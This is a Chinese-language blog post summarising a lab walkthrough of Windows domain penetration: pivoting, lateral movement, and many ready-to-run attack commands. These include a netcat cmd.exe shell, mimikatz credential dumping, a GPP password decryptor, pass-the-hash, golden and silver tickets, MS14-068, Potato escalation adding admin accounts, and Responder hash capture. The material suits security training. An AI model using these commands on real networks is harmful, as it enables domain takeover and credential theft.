内网渗透一周目小结

前言

内网渗透提前是我们已经通过各种手段拿到内网中某一台可以通向外网的服务器或主机的权限,然后把此当作跳板,内网渗透的目的是拿到DC域控制器的权限,达到控制整个域环境

域环境

域基础知识

Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从Windows Server 2003开始 , Active Directory是负责维护该中央数据库的Windows组件。Windows域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

域控制器(DC):

域控制器是指在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。

父域和子域:

出于管理以及其他的要求,需要在网络中划分多个域!第一个域为父域,各部分域成为子域。

域树:

指若干个域通过建立信任关系组成的集合。

域名服务器:

是指用于域名和与之对应ip地址之间转换的服务器。

一般内网渗透时,就是寻找DNS服务器来定位DC,DC和DNS服务器一般在一台机器上。

域内权限

域本地组:

域本地组的成员可以来自森林中的任何域,域本地组用来访问同一域中的资源。在本机模式中的域本地组可以包含森林中任意域内的用户账户全局组通用组以及同一域内的域本地组。

域全局组:

可以嵌套在其他组中,可以再域森林的任何域内指派权限。

域通用组:

通用组是集合了上面两种组的优点,即可以从任何域中添加用户和组,可以嵌套于其他域组中。

域环境的搭建

配置环境:

主域:windows server 2008

主机:windows server 2003

搭建步骤:

  1. 查看自己的ip地址,将dns服务器设置为自己的ip地址

编辑

2.添加域服务

编辑

选择服务器管理——>角色——>添加角色——>Active Directory域服务器,下一步即可

3.运行输入dcpromo,创建域

wKg0C2LzLyuAD0jsAABrq3OsiDI671.png

wKg0C2LzL0qAaDsRAABj2Ci9Yms627.png

wKg0C2LzL1WAcBpAACJMMusLhg381.png

然后一直选择是,下一步,设置一个属于自己的密码,等待安装完成即可

4.将计算机加入域网络

首先将dns设置为主域的ip地址,之后点击计算机名->更改->选择域,输入主域的账号密码即可成功加入域

登录域控 域控名\用户名

wKg0C2LzL2mAaYkZAAB72muzu0482.png

内网代理穿透

netcat瑞士军刀

nc建立会话通信

服务端 nc.exe -lp 12345
连接端 nc.exe 192.168.229.134 12345

nc进行端口扫描

nc -vz -w 2 192.168.229.134 80 

nc传输文件

发文件:nc -lp 12345 <1.txt
收文件:nc 192.168.229.134 >haha.txt

nc建立中断会话

服务端:nc-lp 12345 -t -e cmd.exe
连接:nc 192.168.229.134 12345

termite

termite是一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适应性更强,也更为方便

程序分为admin(控制端)和代理节点agent

-l指定本地socks端口

-c指定远程机器ip

-p指定远程机器Socks端口

内网环境拓扑图:

wKg0C2LzLDKADuxxAABIkfCWoRY377.png

2个框分别代表2个网络中含有的机器

将2个系统全部开启agent监听

通过控制端进行连接

**通过show命令展示连接的节点,id=0是攻击机,通过goto命令将节点转移到id=1(server 2003)**

** 通过conncet命令连接到win7**

** 使用shell命令执行win7终端**

通过shell命令本地开放8899端口,将数据转发到8899端口用nc连接执行

端口转发lcxtran

将3389转发到1188端口上,通过127.0.0.1:1188进行连接

总结:以上是termite的基本用法,termite是一个多系统通用的软件,包含许多其他的版本,这里只演示了windows

SSH代理

正向代理:

如图host a和b能通信b和c能通信,我们就可以通过ssh正向代理将端口转发到本机上,从而访问c的端口

格式 ssh -L 要转发到本地的端口号:要转发的ip:要转发的ip对应的端口 中间服务器的ip@服务器用户名

实验环境:

kali和ubuntn相连 ubuntn和server 2003相连

192.168.229.134:82为2003的网站ip 192.168.229.136为服务器ip

反向代理

将本地端口转发到内网端口

通过python开启一个http服务器

python3 -m http.server

通过一下命令

ssh -R 192.168.229.139:8001:127.0.0.1:8000 webper@192.168.229.136

将kali的8000端口转发到内网的8001端口

但是会被中间主机给拦下,不会转发到内网服务器,需要做进一步的端口转发

ssh socks代理

连接上socks代理之后,我们便可以利用公网主机的流量访问外网,或者利用proxychains扫描内网主机

ssh -D 8080 webper@192.168.229.136

修改proxychains配置文件进行代理

vim /etc/proxychains.conf

msf多级网络穿透(推荐)

msf可以和许多模块进行联动,比较推荐

ipconfig查看有几个网段,添加autoroute路由 background调用想要的模块即可,只要是在msf之内的任何模块都会自动转发这个路由

启动socks4(建议选择版本socks4)

设置srvhost默认端口1080 run启动

修改proxychains端口 使用 nmap扫描即可

使用永恒之蓝漏洞利用获取权限

横向渗透

psexec

PsExec是SysInternals套件中的一款强大的软件。攻击者通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性。

PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。

可以用在爆破成功密码之后

连接主机cmd

psExec.exe \\192.168.229.134 -u adminsitrator -p 123456 cmd

** 使用incognito劫持身份提升权限**

incognito.exe -h 192.168.229.134 -u administrator -p 123456 list_tokens -u #查找03的可用身份进行劫持

incognito.exe -h 192.168.229.134 -u administrator -p 123456 execute -c "NT AUTHORITY\SYSTEM" cmd.exe #劫持system权限

域控账号登陆过普通主机,可以尝试拿到域低权限账号利用incognito工具劫持域控身份
查找被攻击的计算机中是否有DC的token
incognito.exe -h 192.168.200.11 -u admin -p 123123 list_tokens -u#利用DA的token创建新的DC,调用DC的cmd.exe
incognito.exe -h 192.168.200.11 -u admin -p 123123 execute -c 'XY\ADMINISTRATOR' cm
d.exe#执行创建DC命令
net user hh 123.com /add /domain
net group 'domain admins' hh /add /domain

本地rdp密码读取

从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。

包括的范围有下面这些:

  • IE、Chrome的登录表单自动完成
  • Powershell加密函数
  • Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
  • FTP管理账户密码
  • 共享资源文件夹的访问密码
  • 无线网络帐户密钥和密码
  • 远程桌面身份凭证
  • EFS
  • EAP/TLS 和 802.1x的身份凭证
  • Credential Manager中的数据
  • 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。

其中就包括了我们所说的远程桌面身份凭证。Dpapi采用的加密类型为对称加密,即找到了密钥,就能解开物理存储的加密信息。

Master Key Files

存放密钥的文件叫做Master Key Files,

用户Master Key file,位于%APPDATA%\Microsoft\Protect%SID%

系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

Master Key file的同级目录还有一个Preferred文件,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期.

本地演示:

远程桌面连接并保存凭据

运行cmdkey /list查看保存的凭据

查找本地的Credentials目录文件,记住文件名

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

使用mimikatz获取guidmasterkey

privilege::debug #提升权限
dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\A47CA779D8B065E5E81B05EC6C58173B  #最后这串地址就是获取到的Credentials目录下的文件

有时mimikatz是不能标记复制的,使用以下命令可以将结果存储下来

mimikatz.exe ""privilege::debug"" ""sekurlsa::dpapi full"" exit >> c:\log.txt

通过我们记录的guidmastkey来找到对应的mastkey,mimikatz执行以下命令获取账号密码

dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\A47CA779D8B065E5E81B05EC6C58173B /masterkey:e9ee6204ad79bad9ba20e5c474b830ed84e68d1207bcc9f8bb94c49e10a375a0e9b6523acd6abadd8d1257b8b7294fc05541cf276ff8e3475e72c5c3cd17c9ca

#路径要替换为上面代码的路径  masterkey是刚找到的

这里会看到我们连接的账号密码以及ip地址

域环境渗透

Kerberos与NTLM

kerberos协议介绍

DS(domain server),存储了每个域用户的口令散列值NTLM。根据功能划分,DC包含两个模块,AS,TGS.

AS(AUTHENTICATION SERVER),认证用户,用户使用NTLM加密时间戳,进行认证。发布认证票据。

TGS(Ticket Granting Service),根据认证票据,发布授权票据。认证票据可以多次循环使用。

TGT是验证你是否是域的用户,如果验证到是域的用户就给你颁发TGS,你可以带着你的TGS去访问域的内容

TGT就是所谓的黄金票据,TGS就是白银票据,其中TGS具有时效性

NTLM

1、NTLMHash:将明文口令转换成十六进制,转换成Unicode格式,然后对Unicode字符串进行MD4加密,这个结果就是32位的十六进制NTLMhash。

2、NTLM协议认证过程

1、客户端向服务器发送包含 “登录名”的请求

2、服务端接收到请求后,生成16位的随机说,这个随机数称为的 Challenge,把Challenge以明文发送给客户端;同时使用“登录名”对应的NTLMHash加密 Challenge,生成 CHallenge1。

3、客户端使用NTLMhash对 Challenge 进行加密,生成 Response ,然后把 Response 发送给客户端

4、服务端接收到 Response 之后,和Challenge1 进行比对,若相等则认证通过。

wKg0C2LzLGWACok4AABEcDIpTEw329.png

域安全策略攻击测试 GPP 漏洞利用

Windows 2008 Server引入了一项称为组策略首选项(Group Policy Preferences)的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,批量修改域内机器的本地管理员账号名称与密码。

1.新建组织单位xyz,将域用户放入xyz,组策略是以组织单位为单位,所以可以看到新建的xyz

wKg0C2LzLJqAaxcIAACbygvCfQI218.png

2.新建GPO命名为test,编辑test添加一个修改密码的策略

![](/img/sin/M00/01/2E/wKg0C2LzJ-GAPfUTAAEYST74vxk536.png

gpupdate /force #快速更新策略 默认五分钟更新

3.使用xyz用户登录域内主机,找到如下路径

\\kaeiy.com\SYSVOL\kaeiy.com\Policies\

管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,即Groups.xml,该文件中保存了该组策略更新后的密码。

根据详细信息中的唯一ID选择对应的文件夹

找到文件路径下的Groups.XML文件打开,保存其中的cpassword

{3BA919DA-407E-4780-98F8-B8C2BC3E37C8}\User\Preferences\Groups

wKg0C2LzLKyAIiLXAABzDu2tpMA363.png

此为aes256加密,但是微软公司将其加密的秘钥公开了,所以很容易破解

密码破解方式

powershell脚本

wKg0C2LzLOqAPM4jAADQx1oXro673.png


    function Get-DecryptedCpassword {
        [CmdletBinding()]
        Param (
            [string] $Cpassword 
        )

        try {
            #Append appropriate padding based on string length  
            $Mod = ($Cpassword.length % 4)
        
            switch ($Mod) {
            '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
            '2' {$Cpassword += ('=' * (4 - $Mod))}
            '3' {$Cpassword += ('=' * (4 - $Mod))}
            }

            $Base64Decoded = [Convert]::FromBase64String($Cpassword)
        
            #Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
        
            #Set IV to all nulls to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor() 
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
        
            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        } 
    
        catch {Write-Error $Error[0]}
    }  
Get-DecryptedCpassword "haNeFLuCPPa42VoahM8WYQ"
   

kali自带gpp-decrypt

漏洞原因:管理员可以通过在组策略首选项中一键给域中计算机下发策略,其策略信息如组策略数据、域数据存储在SYSVOL文件夹中,域用户都可以访问该文件夹。若通过组策略修改域内机器管理员密码,其密文信息会保存在SYSVOL文件夹内。攻击者如果获取了该密码信息就可以破解,相当于就获取到了管理员密码

局限性:win < = 2008r2或没有打 KB2962486补丁

PTH(Pass The Hash)哈希传递攻击

PTH,即Pass The Hash,首先我们来说下为什么要使用HASH传递,一是目标主机在win server 2012之后,lsass.exe进程中是抓不到明文密码的;二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只要我们获取到hash,我们依然可以正常登录。

windows登录认证机制

(1):首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地

(2)客户端将username明文传输到域控主机

(3):然后域控会随机生成16字节的challenge挑战码返回给客户端

(4):客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器

(5):服务端将客户端发来的信息转发给域控

(6):域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并且使用自己存储的password的hash对对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则就验证失败

哈希传递的原理

NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统

Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。在windows中,Hash的结构通常如下

username:RID:LM-HASH:NT-HASH
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit >>1.txt

mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit >>log2.txt

#使用任意一条命令获取hash

wKg0C2LzLPuALLYCAACLRHCR0I765.png

mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:kaeiy /user:kaeiy /ntlm:c9bd8134aa59332ae5b6acd
#替换相应的域 用户名和ntml hash

wKg0C2LzLQuAME5SAAC5tah4g0587.png

更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号(SID为500)例外-----使用该账号的散列值依然可以进行哈希传递。这里强调的是SID为500的账号,在一些计算机中,即使将Administator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行横向移动,就不会受到KB2871997的影响。

黄金票据攻击

所需条件

1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit > 1.txt
#获取krbtgt的ntlm

wKg0C2LzLRWAbhJUAAAnQB1Ms0880.png

whoami /all获取sid,最后一段"-1001"去掉

wKg0C2LzLSaAdGbRAAAyn7BiXnU333.png

mimikatz.exe "kerberos::golden /user:haha /domain:kaeiy.com /sid:S-1-5-21-690132841-1391383167-2594731052 /krbtgt:aa7b527de7b1e26f1fb7e426adb70f37 /ptt" exit

#替换相应参数执行命令
通过klist命令发现本地已经存在凭据

wKg0C2LzLTCAaOVHAACmceJj8f0913.png

通过命令发现可以成功访问c盘

wKg0C2LzLVmAIexaAADl2J1bDvA123.png

使用psexec连接shell,添加用户即可

psexec.exe \\WIN-7GG3FBI4S9R.kaeiy.com cmd.exe

白银票据攻击

所需条件

1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH 
6.需要伪造的用户名

获取域控hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 2.txt

wKg0C2LzLXaAA7RAAClc86o4YQ860.png

获取sid

wKg0C2LzLWaAII5AAASN0yr7s136.png

执行命令注入白银票据

mimikatz.exe  "kerberos::golden  /user:xyz  /domain:kaeiy.com /sid:S-1-5-21-690132841-1391383167-2594731052  /target:WIN-7GG3FBI4S9R.kaeiy.com /service:cifs /rc4:faaf63a0bb5b15ca7531262f9c741cd1 /ptt" exit

wKg0C2LzLYOAbRuFAACgnkU2Dyw664.png

ms14-068 漏洞利用

我们可以利用这个漏洞来进行票据伪造

远程权限提升漏洞存在于 Microsoft Windows 的 Kerberos KDC 实现中。存在该漏洞的症状是,Microsoft Kerberos KDC 实现无法正确验证签名,这可能造成 Kerberos 服务票证的某些方面被人伪造。简单来说就是一个域内的普通账户可以利用此漏洞进行权限提升,升级为域管理员权限。

具备条件

1、任意域账户
2、域账户密码
3、SID
4、域控服务器IP
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>

将我们sid和账号密码填写,运行生成票据

ms14-068.exe -u haha@kaeiy.com -p 123.com  -s S-1-5-21-690132841-1391383167-2594731052-1111 -d WIN-7GG3FBI4S9R.kaeiy.com

wKg0C2LzLbmACWQhAAEDbsUJvyo531.png

利用mimikatz导入票据

wKg0C2LzLc6ACgj3AAEYjdMqcdc679.png

成功连接

wKg0C2LzKnqAaneOAADlUabRE8s516.png
编辑

热土豆提权

下载地址

 https://github.com/foxglovesec/Potato
Potato.exe -ip 自身ip -disable_exhaust true -cmd "C:\Windows\System32\cmd.exe /K net user potato 123.com /add &&net localgroup administrators potato /add

成功添加一个administrator的账户

wKg0C2LzKkmAQDxoAADbSbqdtUA077.png

Responder -WPAD 提权

Responder下载地址:https://github.com/lgandx/Responder

浏览器默认自动检测代理设置如下,当目标访问某个网站时,利用kali伪造代理主机,要求目标机器提供hash,kali抓取此hash

wKg0C2LzKfyAJ7beAADV47f2tg319.png

编辑

responder -I eth0 #Responder会启动80端口,用之前关闭80服务 /etc/init.d/apache2 stop

当目标访问任意网站,抓取hash

wKg0C2LzKjaAO3I6AACPyJVpzw484.png

hashcat -m 5600 hash.txt -a 0 pass.txt --force

5600>NTLM加密协议

wKg0C2LzKiSACXHWAAD1iHrVUk124.png

总结

本文主要是讲了内网穿透的一些工具以及内网中常用的提权方法,继续进阶需要靠大家的努力了。

posted @ 2022-09-05 14:31  SecIN社区  阅读(204)  评论(0编辑  收藏  举报